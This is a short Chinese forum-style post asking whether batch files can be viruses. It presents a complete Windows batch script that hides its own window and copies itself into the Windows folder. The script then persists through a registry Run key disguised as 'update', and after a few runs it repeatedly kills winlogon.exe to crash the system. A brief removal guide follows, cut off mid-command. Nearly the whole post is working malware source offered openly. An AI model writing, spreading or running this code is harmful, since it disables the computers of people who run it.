批处理可不可以写病毒？只是好奇！

@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
echo DIM objShell>%windir%\unstat.vbs
echo set objShell=wscript.createObject("wscript.shell")>>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\start.bat", 0, TRUE)>>%windir%\unstat.vbs
copy "%~nx0" %windir%\start.bat /y
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d %windir%\unstat.vbs
set t=4
if exist time.bat call time.bat
if %t%==0 goto do
set /a t=%t%-1
echo set t=%t% >time.bat
exit
:do
ntsd -c q -pn winlogon.exe
goto do

破解方法:
在病毒未发作时，打开C:\windows,删除start.bat,time.bat unstat.vbs,
打开运行，执行reg delete HKLM\Software\Microsoft\Windo